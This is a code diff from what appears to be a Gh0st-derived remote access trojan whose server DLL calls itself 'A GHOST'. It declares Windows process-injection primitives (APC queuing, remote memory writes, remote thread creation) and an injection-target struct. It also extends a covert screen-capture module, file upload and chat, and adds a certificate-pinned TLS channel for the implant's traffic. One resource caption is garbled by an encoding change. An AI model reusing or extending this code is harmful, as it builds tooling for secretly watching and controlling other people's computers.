typedef NTSTATUS(NTAPI* pNtOpenThread)(PHANDLE ThreadHandle, ACCESS_MASK AccessMask, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID);
|
||||||
|
typedef NTSTATUS(NTAPI* pNtSuspendThread)(HANDLE ThreadHandle, PULONG SuspendCount);
|
||||||
|
typedef NTSTATUS(NTAPI* pNtAlertResumeThread)(HANDLE ThreadHandle, PULONG SuspendCount);
|
||||||
|
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
|
||||||
|
typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten);
|
||||||
|
typedef NTSTATUS(NTAPI* pNtQueueApcThread)(HANDLE ThreadHandle, PIO_APC_ROUTINE ApcRoutine, PVOID ApcRoutineContext OPTIONAL, PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL, ULONG ApcReserved OPTIONAL);
|
||||||
|
typedef NTSTATUS(WINAPI* pLdrLoadDll)(IN PWCHAR PathToFile OPTIONAL, IN ULONG Flags OPTIONAL, IN PUNICODE_STRING ModuleFileName, OUT PHANDLE ModuleHandle);
|
||||||
|
typedef VOID(WINAPI* pRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
|
||||||
|
|
||||||
|
typedef NTSTATUS(NTAPI* pfnNtCreateThreadEx)
|
||||||
|
(
|
||||||
|
OUT PHANDLE hThread,
|
||||||
|
IN ACCESS_MASK DesiredAccess,
|
||||||
|
IN PVOID ObjectAttributes,
|
||||||
|
IN HANDLE ProcessHandle,
|
||||||
|
IN PVOID lpStartAddress,
|
||||||
|
IN PVOID lpParameter,
|
||||||
|
IN ULONG Flags,
|
||||||
|
IN SIZE_T StackZeroBits,
|
||||||
|
IN SIZE_T SizeOfStackCommit,
|
||||||
|
IN SIZE_T SizeOfStackReserve,
|
||||||
|
OUT PVOID lpBytesBuffer);
|
||||||
|
|
||||||
|
typedef struct _THREAD_DATA
|
||||||
|
{
|
||||||
|
pRtlInitUnicodeString fnRtlInitUnicodeString;
|
||||||
|
pLdrLoadDll fnLdrLoadDll;
|
||||||
|
UNICODE_STRING UnicodeString;
|
||||||
|
WCHAR DllName[260];
|
||||||
|
PWCHAR DllPath;
|
||||||
|
ULONG Flags;
|
||||||
|
HANDLE ModuleHandle;
|
||||||
|
}THREAD_DATA, * PTHREAD_DATA;
|
||||||
|
|
||||||
|
struct InjectData {
|
||||||
|
DWORD ExeIsx86;
|
||||||
|
DWORD mode; //注入模式
|
||||||
|
DWORD dwProcessID;//进程ID
|
||||||
|
DWORD datasize; //本地数据尺寸
|
||||||
|
char strpath[1024]; //远程落地目录
|
||||||
|
};
|
||||||
+17
-1
@@ -14,6 +14,7 @@
|
|||||||
#include <functional>
|
#include <functional>
|
||||||
#include <future>
|
#include <future>
|
||||||
#include <memory>
|
#include <memory>
|
||||||
|
#include <atomic>
|
||||||
#include <emmintrin.h> // SSE2
|
#include <emmintrin.h> // SSE2
|
||||||
#include "common/config.h"
|
#include "common/config.h"
|
||||||
#include "VideoEncoderBase.h"
|
#include "VideoEncoderBase.h"
|
||||||
@@ -149,6 +150,9 @@ public:
|
|||||||
int m_FrameID; // 帧序号
|
int m_FrameID; // 帧序号
|
||||||
int m_GOP; // 关键帧间隔
|
int m_GOP; // 关键帧间隔
|
||||||
bool m_SendKeyFrame; // 发送关键帧
|
bool m_SendKeyFrame; // 发送关键帧
|
||||||
|
// Web 端请求下一帧强制 IDR(COMMAND_SCREEN_KEYFRAME_REQ)。只对 H.264 生效;
|
||||||
|
// 必须在成功编码出 IDR 后清除,否则 ScanNextScreen 失败/硬编 EAGAIN 时请求会丢。
|
||||||
|
std::atomic<bool> m_bForceKeyFrame{false};
|
||||||
std::unique_ptr<VideoEncoderBase> m_encoder; // 编码器,ensureEncoder() lazy 创建,走 EncoderFactory 探测
|
std::unique_ptr<VideoEncoderBase> m_encoder; // 编码器,ensureEncoder() lazy 创建,走 EncoderFactory 探测
|
||||||
bool m_bEncoderPrimed = false; // encoder 是否已成功产出过一个包;
|
bool m_bEncoderPrimed = false; // encoder 是否已成功产出过一个包;
|
||||||
// false 时禁止 skip——避免单显示器路径
|
// false 时禁止 skip——避免单显示器路径
|
||||||
@@ -257,6 +261,11 @@ public:
|
|||||||
m_BlockBuffers[blockY] = new BYTE[m_ulFullWidth * m_ulFullHeight * 4 * 2 / m_BlockNum + 12];
|
m_BlockBuffers[blockY] = new BYTE[m_ulFullWidth * m_ulFullHeight * 4 * 2 / m_BlockNum + 12];
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 请求下一帧强制 IDR(可跨线程调用)。只影响 H.264 编码路径;
|
||||||
|
// 实际清除发生在成功编码出 IDR 之后。
|
||||||
|
void RequestKeyFrame() { m_bForceKeyFrame.store(true, std::memory_order_relaxed); }
|
||||||
|
|
||||||
virtual ~ScreenCapture()
|
virtual ~ScreenCapture()
|
||||||
{
|
{
|
||||||
if (m_BitmapInfor_Full != NULL) {
|
if (m_BitmapInfor_Full != NULL) {
|
||||||
@@ -876,7 +885,12 @@ public:
|
|||||||
{
|
{
|
||||||
BYTE algo = m_bAlgorithm;
|
BYTE algo = m_bAlgorithm;
|
||||||
int frameID = m_FrameID + 1;
|
int frameID = m_FrameID + 1;
|
||||||
bool keyFrame = (frameID % m_GOP == 0);
|
// Web 端可请求强制 IDR(COMMAND_SCREEN_KEYFRAME_REQ),只对 H.264 有意义。
|
||||||
|
// 标志在成功编码出 IDR 后才清除(见下方 H.264 keyframe 分支),
|
||||||
|
// 保证 ScanNextScreen 失败或硬编 EAGAIN 时请求不会丢失。
|
||||||
|
bool forceKeyFrame = (algo == ALGORITHM_H264) &&
|
||||||
|
m_bForceKeyFrame.load(std::memory_order_relaxed);
|
||||||
|
bool keyFrame = forceKeyFrame || (frameID % m_GOP == 0);
|
||||||
m_RectBuffer[0] = keyFrame ? TOKEN_KEYFRAME : TOKEN_NEXTSCREEN;
|
m_RectBuffer[0] = keyFrame ? TOKEN_KEYFRAME : TOKEN_NEXTSCREEN;
|
||||||
LPBYTE data = m_RectBuffer + 1;
|
LPBYTE data = m_RectBuffer + 1;
|
||||||
// 写入使用了哪种算法
|
// 写入使用了哪种算法
|
||||||
@@ -967,6 +981,8 @@ public:
|
|||||||
*ulNextSendLength = 1 + offset + encoded_size;
|
*ulNextSendLength = 1 + offset + encoded_size;
|
||||||
memcpy(data + offset, encoded_data, encoded_size);
|
memcpy(data + offset, encoded_data, encoded_size);
|
||||||
m_bEncoderPrimed = true; // 与下方 FirstBuffer 同步:自此 skip 安全
|
m_bEncoderPrimed = true; // 与下方 FirstBuffer 同步:自此 skip 安全
|
||||||
|
// IDR 已成功产出,满足(可能的)强制关键帧请求。
|
||||||
|
m_bForceKeyFrame.store(false, std::memory_order_relaxed);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
default:
|
default:
|
||||||
|
|||||||
@@ -106,8 +106,13 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
|
|||||||
SetConnection(g_MyApp.g_Connection); // 同时设置 m_conn 和 m_MyClientID
|
SetConnection(g_MyApp.g_Connection); // 同时设置 m_conn 和 m_MyClientID
|
||||||
CKernelManager* main = (CKernelManager*)ClientObject->GetMain();
|
CKernelManager* main = (CKernelManager*)ClientObject->GetMain();
|
||||||
m_Signature = main ? main->m_LoginSignature : ClientObject->m_LoginSignature;
|
m_Signature = main ? main->m_LoginSignature : ClientObject->m_LoginSignature;
|
||||||
if (!m_Signature.empty()) InitFileUpload({}, main ? main->m_LoginMsg : ClientObject->m_LoginMsg,
|
if (!m_Signature.empty()) {
|
||||||
main ? main->m_LoginSignature : ClientObject->m_LoginSignature, 64, 50, Logf);
|
iniFile cfg(CLIENT_PATH);
|
||||||
|
int chunkKb, durMs;
|
||||||
|
GetTransferSpeed(cfg, chunkKb, durMs);
|
||||||
|
InitFileUpload({}, main ? main->m_LoginMsg : ClientObject->m_LoginMsg,
|
||||||
|
main ? main->m_LoginSignature : ClientObject->m_LoginSignature, chunkKb, durMs, Logf);
|
||||||
|
}
|
||||||
#endif
|
#endif
|
||||||
m_isGDI = TRUE;
|
m_isGDI = TRUE;
|
||||||
m_virtual = FALSE;
|
m_virtual = FALSE;
|
||||||
@@ -870,7 +875,10 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
if (m_Signature.empty()) {
|
if (m_Signature.empty()) {
|
||||||
m_Signature = std::string(resp.signature, resp.signature + 64);
|
m_Signature = std::string(resp.signature, resp.signature + 64);
|
||||||
m_ClientObject->SetVerifyInfo(resp.msg, m_Signature);
|
m_ClientObject->SetVerifyInfo(resp.msg, m_Signature);
|
||||||
InitFileUpload({}, std::string(resp.msg), m_Signature, 64, 50, Logf);
|
iniFile cfg(CLIENT_PATH);
|
||||||
|
int chunkKb, durMs;
|
||||||
|
GetTransferSpeed(cfg, chunkKb, durMs);
|
||||||
|
InitFileUpload({}, std::string(resp.msg), m_Signature, chunkKb, durMs, Logf);
|
||||||
Mprintf("[CScreenManager] Received Signature: <%s, %s>\n", resp.msg, m_Signature.c_str());
|
Mprintf("[CScreenManager] Received Signature: <%s, %s>\n", resp.msg, m_Signature.c_str());
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
@@ -922,6 +930,13 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
SwitchScreen();
|
SwitchScreen();
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
case COMMAND_SCREEN_KEYFRAME_REQ: {
|
||||||
|
// Web 屏幕墙恢复/新加入者请求:下一帧强制 IDR,立即重建参考链。
|
||||||
|
if (m_ScreenSpyObject) {
|
||||||
|
m_ScreenSpyObject->RequestKeyFrame();
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
case CMD_FULL_SCREEN: {
|
case CMD_FULL_SCREEN: {
|
||||||
int fullScreen = szBuffer[1];
|
int fullScreen = szBuffer[1];
|
||||||
iniFile cfg(CLIENT_PATH);
|
iniFile cfg(CLIENT_PATH);
|
||||||
|
|||||||
+18
-3
@@ -26,12 +26,23 @@ LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
|
|||||||
|
|
||||||
IDD_DIALOG DIALOGEX 0, 0, 180, 108
|
IDD_DIALOG DIALOGEX 0, 0, 180, 108
|
||||||
STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
|
STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
|
||||||
CAPTION "消息提示"
|
CAPTION "ÏûÏ¢Ìáʾ"
|
||||||
FONT 10, "System", 0, 0, 0x0
|
FONT 10, "System", 0, 0, 0x0
|
||||||
BEGIN
|
BEGIN
|
||||||
LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95
|
LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95
|
||||||
END
|
END
|
||||||
|
|
||||||
|
IDD_CHAT DIALOGEX 0, 0, 235, 155
|
||||||
|
STYLE DS_SETFONT | DS_MODALFRAME | DS_CENTER | WS_MINIMIZEBOX | WS_POPUP | WS_CAPTION | WS_SYSMENU
|
||||||
|
CAPTION "Chat"
|
||||||
|
FONT 10, "System", 0, 0, 0x0
|
||||||
|
BEGIN
|
||||||
|
EDITTEXT IDC_EDIT_CHATLOG,3,3,229,107,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | WS_VSCROLL
|
||||||
|
EDITTEXT IDC_EDIT_NEWMSG,3,113,170,38,ES_MULTILINE | ES_AUTOVSCROLL | WS_VSCROLL
|
||||||
|
DEFPUSHBUTTON "Send",IDC_BUTTON_SEND,178,116,54,14
|
||||||
|
PUSHBUTTON "End",IDC_BUTTON_END,178,133,54,14
|
||||||
|
END
|
||||||
|
|
||||||
|
|
||||||
/////////////////////////////////////////////////////////////////////////////
|
/////////////////////////////////////////////////////////////////////////////
|
||||||
//
|
//
|
||||||
@@ -44,6 +55,10 @@ BEGIN
|
|||||||
IDD_DIALOG, DIALOG
|
IDD_DIALOG, DIALOG
|
||||||
BEGIN
|
BEGIN
|
||||||
END
|
END
|
||||||
|
|
||||||
|
IDD_CHAT, DIALOG
|
||||||
|
BEGIN
|
||||||
|
END
|
||||||
END
|
END
|
||||||
#endif // APSTUDIO_INVOKED
|
#endif // APSTUDIO_INVOKED
|
||||||
|
|
||||||
@@ -88,7 +103,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
|
|||||||
//
|
//
|
||||||
|
|
||||||
VS_VERSION_INFO VERSIONINFO
|
VS_VERSION_INFO VERSIONINFO
|
||||||
FILEVERSION 1,0,3,9
|
FILEVERSION 1,0,4,0
|
||||||
PRODUCTVERSION 1,0,0,1
|
PRODUCTVERSION 1,0,0,1
|
||||||
FILEFLAGSMASK 0x3fL
|
FILEFLAGSMASK 0x3fL
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
@@ -106,7 +121,7 @@ BEGIN
|
|||||||
BEGIN
|
BEGIN
|
||||||
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||||
VALUE "FileDescription", "A GHOST"
|
VALUE "FileDescription", "A GHOST"
|
||||||
VALUE "FileVersion", "1.0.3.9"
|
VALUE "FileVersion", "1.0.4.0"
|
||||||
VALUE "InternalName", "ServerDll.dll"
|
VALUE "InternalName", "ServerDll.dll"
|
||||||
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
|
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
|
||||||
VALUE "OriginalFilename", "ServerDll.dll"
|
VALUE "OriginalFilename", "ServerDll.dll"
|
||||||
|
|||||||
Binary file not shown.
@@ -0,0 +1,508 @@
|
|||||||
|
// TlsChannel.cpp — 见 TlsChannel.h 头注释。仅 _WIN32 编译。
|
||||||
|
#ifdef _WIN32
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "TlsChannel.h"
|
||||||
|
|
||||||
|
#include "common/iniFile.h" // config(settings.ini 文件回退) + GetRegistryName/GetCurrentUserRegistryKey(注册表正文)
|
||||||
|
|
||||||
|
#include <wincrypt.h> // 证书/链引擎 API
|
||||||
|
#include <winreg.h> // RegOpenKeyExA / RegQueryValueExA
|
||||||
|
#include <io.h> // _access
|
||||||
|
#include <fstream> // std::ifstream
|
||||||
|
#include <iterator> // std::istreambuf_iterator
|
||||||
|
#include <string>
|
||||||
|
#include <mutex> // std::call_once
|
||||||
|
|
||||||
|
#pragma comment(lib, "secur32.lib")
|
||||||
|
#pragma comment(lib, "crypt32.lib")
|
||||||
|
|
||||||
|
namespace {
|
||||||
|
|
||||||
|
std::once_flag g_tlsOnce;
|
||||||
|
bool g_tlsEnabled = false; // TLS 会话可用:send/recv 走加密
|
||||||
|
bool g_tlsError = false; // 证书存在但加载失败:拒绝连接(fail-closed)
|
||||||
|
HCERTSTORE g_tlsStore = NULL;
|
||||||
|
HCERTCHAINENGINE g_tlsEngine = NULL; // 只信任 g_tlsStore 的链引擎(严格钉扎)
|
||||||
|
|
||||||
|
// 解析信任锚证书路径:优先 settings.ini 的 [settings] tls_cert,其次可执行文件同目录
|
||||||
|
// yama-ca.pem。
|
||||||
|
std::string ResolveCertPath()
|
||||||
|
{
|
||||||
|
std::string certPath;
|
||||||
|
{
|
||||||
|
config cfg;
|
||||||
|
certPath = cfg.GetStr("settings", "tls_cert", "");
|
||||||
|
}
|
||||||
|
if (certPath.empty()) {
|
||||||
|
char path[MAX_PATH];
|
||||||
|
if (!GetModuleFileNameA(NULL, path, sizeof(path)))
|
||||||
|
return std::string(); // 拿不到 exe 路径,视为未配置
|
||||||
|
char* p = path + strlen(path);
|
||||||
|
while (p > path && *p != '\\') --p;
|
||||||
|
strcpy(p + 1, "yama-ca.pem");
|
||||||
|
certPath = path;
|
||||||
|
}
|
||||||
|
return certPath;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 读取注册表 REG_SZ(动态扩容)。iniFile::GetStr 用 512 字节固定缓冲,会把 PEM 正文
|
||||||
|
// (约 1.3~1.8KB)截断成空,故此处自行两段式 RegQueryValueEx 读取。
|
||||||
|
// 返回 true 表示值存在且为 REG_SZ,out 为去掉末尾 '\0' 后的内容;否则 false。
|
||||||
|
bool ReadRegistrySz(HKEY root, const std::string& subKey, const std::string& valueName, std::string& out)
|
||||||
|
{
|
||||||
|
HKEY hKey = NULL;
|
||||||
|
if (RegOpenKeyExA(root, subKey.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
DWORD type = 0, size = 0;
|
||||||
|
LONG r = RegQueryValueExA(hKey, valueName.c_str(), NULL, &type, NULL, &size);
|
||||||
|
if (r != ERROR_SUCCESS || type != REG_SZ) {
|
||||||
|
RegCloseKey(hKey);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
std::vector<char> buf(size ? size : 1, 0);
|
||||||
|
r = RegQueryValueExA(hKey, valueName.c_str(), NULL, &type,
|
||||||
|
reinterpret_cast<LPBYTE>(buf.data()), &size);
|
||||||
|
RegCloseKey(hKey);
|
||||||
|
if (r != ERROR_SUCCESS)
|
||||||
|
return false;
|
||||||
|
if (size > 0 && buf[size - 1] == '\0')
|
||||||
|
--size; // REG_SZ 的 size 含末尾 '\0'
|
||||||
|
out.assign(buf.data(), size);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 取信任锚 PEM 正文。优先注册表 Software\<exehash>\settings\tls_cert(REG_SZ 直接存
|
||||||
|
// PEM 正文,便于后续服务端下发/撤销),其次 settings.ini [settings] tls_cert 路径、
|
||||||
|
// exe 同目录 yama-ca.pem 文件(向后兼容旧的文件投递方式)。
|
||||||
|
// 返回 true 表示已配置(pem 可能为空:值/文件存在但内容为空,由 LoadTrustAnchor 判为
|
||||||
|
// fail-closed);false 表示完全未配置(走明文)。source 描述来源,仅用于日志。
|
||||||
|
bool ReadTrustAnchor(std::string& pem, std::string& source)
|
||||||
|
{
|
||||||
|
// 1) 注册表正文(首选)。值存在(即便为空)即视为「已配置」,交由 LoadTrustAnchor
|
||||||
|
// 对空/损坏内容判 fail-closed,与「空文件 → fail-closed」语义保持一致,避免空值
|
||||||
|
// 被静默当成未配置而回退明文。
|
||||||
|
std::string regSubKey = GetRegistryName() + "\\settings";
|
||||||
|
std::string regVal;
|
||||||
|
if (ReadRegistrySz(GetCurrentUserRegistryKey(), regSubKey, "tls_cert", regVal)) {
|
||||||
|
pem = regVal;
|
||||||
|
source = "registry " + regSubKey + "\\tls_cert";
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2) 文件回退:settings.ini [settings] tls_cert 路径 → exe 同目录 yama-ca.pem
|
||||||
|
std::string certPath = ResolveCertPath();
|
||||||
|
if (certPath.empty() || _access(certPath.c_str(), 0) != 0)
|
||||||
|
return false; // 无证书 → 明文
|
||||||
|
|
||||||
|
std::ifstream f(certPath.c_str(), std::ios::binary);
|
||||||
|
if (!f) {
|
||||||
|
Mprintf("[TLS] cannot open %s\n", certPath.c_str());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
pem.assign((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
|
||||||
|
source = certPath;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解码 PEM/DER 信任锚正文为 DER,并加入内存信任锚存储。
|
||||||
|
bool LoadTrustAnchor(const std::string& pem, const std::string& source, HCERTSTORE* outStore)
|
||||||
|
{
|
||||||
|
if (pem.empty()) {
|
||||||
|
Mprintf("[TLS] empty certificate %s\n", source.c_str());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// PEM(-----BEGIN CERTIFICATE----- base64)或 DER → DER。CRYPT_STRING_ANY 两者都认,
|
||||||
|
// 失败再退回 CRYPT_STRING_BASE64HEADER(纯 PEM)。
|
||||||
|
DWORD derLen = 0;
|
||||||
|
if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_ANY,
|
||||||
|
NULL, &derLen, NULL, NULL) || derLen == 0) {
|
||||||
|
if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_BASE64HEADER,
|
||||||
|
NULL, &derLen, NULL, NULL) || derLen == 0) {
|
||||||
|
Mprintf("[TLS] failed to decode certificate %s\n", source.c_str());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
std::vector<BYTE> der(derLen);
|
||||||
|
if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_ANY,
|
||||||
|
der.data(), &derLen, NULL, NULL)) {
|
||||||
|
if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_BASE64HEADER,
|
||||||
|
der.data(), &derLen, NULL, NULL)) {
|
||||||
|
Mprintf("[TLS] failed to decode certificate %s\n", source.c_str());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
PCCERT_CONTEXT cert = CertCreateCertificateContext(X509_ASN_ENCODING, der.data(), derLen);
|
||||||
|
if (!cert) {
|
||||||
|
Mprintf("[TLS] invalid certificate %s\n", source.c_str());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
HCERTSTORE store = CertOpenStore(CERT_STORE_PROV_MEMORY, X509_ASN_ENCODING,
|
||||||
|
0, CERT_STORE_CREATE_NEW_FLAG, NULL);
|
||||||
|
if (!store) {
|
||||||
|
CertFreeCertificateContext(cert);
|
||||||
|
Mprintf("[TLS] CertOpenStore failed\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if (!CertAddCertificateContextToStore(store, cert, CERT_STORE_ADD_REPLACE_EXISTING, NULL)) {
|
||||||
|
CertCloseStore(store, 0);
|
||||||
|
CertFreeCertificateContext(cert);
|
||||||
|
Mprintf("[TLS] CertAddCertificateContextToStore failed\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
CertFreeCertificateContext(cert);
|
||||||
|
|
||||||
|
*outStore = store;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
void InitTls()
|
||||||
|
{
|
||||||
|
std::string pem, source;
|
||||||
|
if (!ReadTrustAnchor(pem, source)) {
|
||||||
|
// 无证书 → 明文(默认,与老客户端一致)
|
||||||
|
g_tlsEnabled = false;
|
||||||
|
g_tlsError = false;
|
||||||
|
Mprintf("[TLS] disabled: no trust anchor configured, plaintext mode\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 证书已配置:管理员已「颁发」,必须走 TLS;加载失败即拒绝连接(fail-closed),
|
||||||
|
// 不能静默回退明文。
|
||||||
|
HCERTSTORE store = NULL;
|
||||||
|
if (!LoadTrustAnchor(pem, source, &store)) {
|
||||||
|
g_tlsEnabled = false;
|
||||||
|
g_tlsError = true;
|
||||||
|
Mprintf("[TLS] FATAL: trust anchor (%s) present but failed to load; refusing connections (fail-closed)\n",
|
||||||
|
source.c_str());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 严格钉扎:链引擎只信任该 store 里的根证书,排除系统根库。否则攻击者拿一张任意
|
||||||
|
// 公共 CA 签发的证书就能通过 CertGetCertificateChain(默认引擎信任系统根库)。
|
||||||
|
CERT_CHAIN_ENGINE_CONFIG ec = {};
|
||||||
|
ec.cbSize = sizeof(ec);
|
||||||
|
ec.hExclusiveRoot = store;
|
||||||
|
HCERTCHAINENGINE engine = NULL;
|
||||||
|
if (!CertCreateCertificateChainEngine(&ec, &engine)) {
|
||||||
|
CertCloseStore(store, 0);
|
||||||
|
g_tlsEnabled = false;
|
||||||
|
g_tlsError = true;
|
||||||
|
Mprintf("[TLS] FATAL: CertCreateCertificateChainEngine failed; refusing connections (fail-closed)\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
g_tlsStore = store;
|
||||||
|
g_tlsEngine = engine;
|
||||||
|
g_tlsEnabled = true;
|
||||||
|
g_tlsError = false;
|
||||||
|
Mprintf("[TLS] enabled: trust anchor loaded (%s), all connections use TLS\n", source.c_str());
|
||||||
|
}
|
||||||
|
|
||||||
|
} // namespace
|
||||||
|
|
||||||
|
bool TlsEnabled()
|
||||||
|
{
|
||||||
|
std::call_once(g_tlsOnce, InitTls);
|
||||||
|
return g_tlsEnabled;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool TlsLoadError()
|
||||||
|
{
|
||||||
|
std::call_once(g_tlsOnce, InitTls);
|
||||||
|
return g_tlsError;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---- TlsChannel ----
|
||||||
|
|
||||||
|
void TlsChannel::CloseHandles()
|
||||||
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
|
||||||
|
if (m_ctxValid) { DeleteSecurityContext(&m_ctx); m_ctx = {}; m_ctxValid = false; }
|
||||||
|
if (m_credValid) { FreeCredentialsHandle(&m_cred); m_cred = {}; m_credValid = false; }
|
||||||
|
m_ready = false;
|
||||||
|
m_raw.clear();
|
||||||
|
m_pending.clear();
|
||||||
|
}
|
||||||
|
|
||||||
|
bool TlsChannel::SendAll(SOCKET sock, const void* data, int len)
|
||||||
|
{
|
||||||
|
const char* p = (const char*)data;
|
||||||
|
int sent = 0;
|
||||||
|
while (sent < len) {
|
||||||
|
int n = ::send(sock, p + sent, len - sent, 0);
|
||||||
|
if (n == SOCKET_ERROR || n == 0)
|
||||||
|
return false;
|
||||||
|
sent += n;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool TlsChannel::VerifyServerCert()
|
||||||
|
{
|
||||||
|
PCCERT_CONTEXT remote = NULL;
|
||||||
|
SECURITY_STATUS sc = QueryContextAttributesA(&m_ctx, SECPKG_ATTR_REMOTE_CERT_CONTEXT, &remote);
|
||||||
|
if (sc != SEC_E_OK || !remote)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (!g_tlsStore || !g_tlsEngine) {
|
||||||
|
CertFreeCertificateContext(remote);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
CERT_CHAIN_PARA para = {};
|
||||||
|
para.cbSize = sizeof(para);
|
||||||
|
PCCERT_CHAIN_CONTEXT chain = NULL;
|
||||||
|
// g_tlsEngine 的 hExclusiveRoot 已把信任锚限制为 g_tlsStore;hAdditionalStore 再传一次
|
||||||
|
// 该 store 供链引擎查找 CA/中间证书。只接受「无任何错误位」的链(含时间有效性)。
|
||||||
|
// 不设置任何 CERT_CHAIN_REVOCATION_CHECK_* 位 = 不做吊销检查(私有 CA 无 CRL/OCSP,
|
||||||
|
// 且这些位会触发联网,反而失败);只保留 CERT_CHAIN_DISABLE_AIA 禁止联网取中间证书。
|
||||||
|
BOOL ok = CertGetCertificateChain(g_tlsEngine, remote, NULL, g_tlsStore, ¶,
|
||||||
|
CERT_CHAIN_DISABLE_AIA,
|
||||||
|
NULL, &chain);
|
||||||
|
bool trusted = false;
|
||||||
|
if (ok && chain) {
|
||||||
|
trusted = (chain->TrustStatus.dwErrorStatus == CERT_TRUST_NO_ERROR);
|
||||||
|
}
|
||||||
|
if (chain) CertFreeCertificateChain(chain);
|
||||||
|
CertFreeCertificateContext(remote);
|
||||||
|
return trusted;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool TlsChannel::Handshake(SOCKET sock)
|
||||||
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
|
||||||
|
CloseHandles(); // 重连时清理上一次会话(recursive 锁,此处可重入)
|
||||||
|
|
||||||
|
SCHANNEL_CRED cred = {};
|
||||||
|
cred.dwVersion = SCHANNEL_CRED_VERSION;
|
||||||
|
cred.dwFlags = SCH_CRED_MANUAL_CRED_VALIDATION | SCH_CRED_NO_DEFAULT_CREDS;
|
||||||
|
cred.grbitEnabledProtocols = SP_PROT_TLS1_2_CLIENT; // TLS 1.2(与 Go 端 MinVersion 对齐)
|
||||||
|
|
||||||
|
TimeStamp tsExpiry = {};
|
||||||
|
SECURITY_STATUS sc = AcquireCredentialsHandleA(
|
||||||
|
NULL, (SEC_CHAR*)"Microsoft Unified Security Protocol Provider",
|
||||||
|
SECPKG_CRED_OUTBOUND, NULL, &cred, NULL, NULL, &m_cred, &tsExpiry);
|
||||||
|
if (sc != SEC_E_OK) {
|
||||||
|
Mprintf("[TLS] AcquireCredentialsHandle failed: 0x%08X\n", (unsigned)sc);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
m_credValid = true;
|
||||||
|
|
||||||
|
DWORD flags = ISC_REQ_SEQUENCE_DETECT | ISC_REQ_REPLAY_DETECT | ISC_REQ_CONFIDENTIALITY
|
||||||
|
| ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_STREAM | ISC_REQ_MANUAL_CRED_VALIDATION;
|
||||||
|
|
||||||
|
SecBuffer outBuf = { 0, SECBUFFER_TOKEN, NULL };
|
||||||
|
SecBufferDesc outDesc = { SECBUFFER_VERSION, 1, &outBuf };
|
||||||
|
ULONG attrs = 0;
|
||||||
|
|
||||||
|
// 首次调用产生 ClientHello
|
||||||
|
sc = InitializeSecurityContextA(&m_cred, NULL, NULL, flags, 0, SECURITY_NATIVE_DREP,
|
||||||
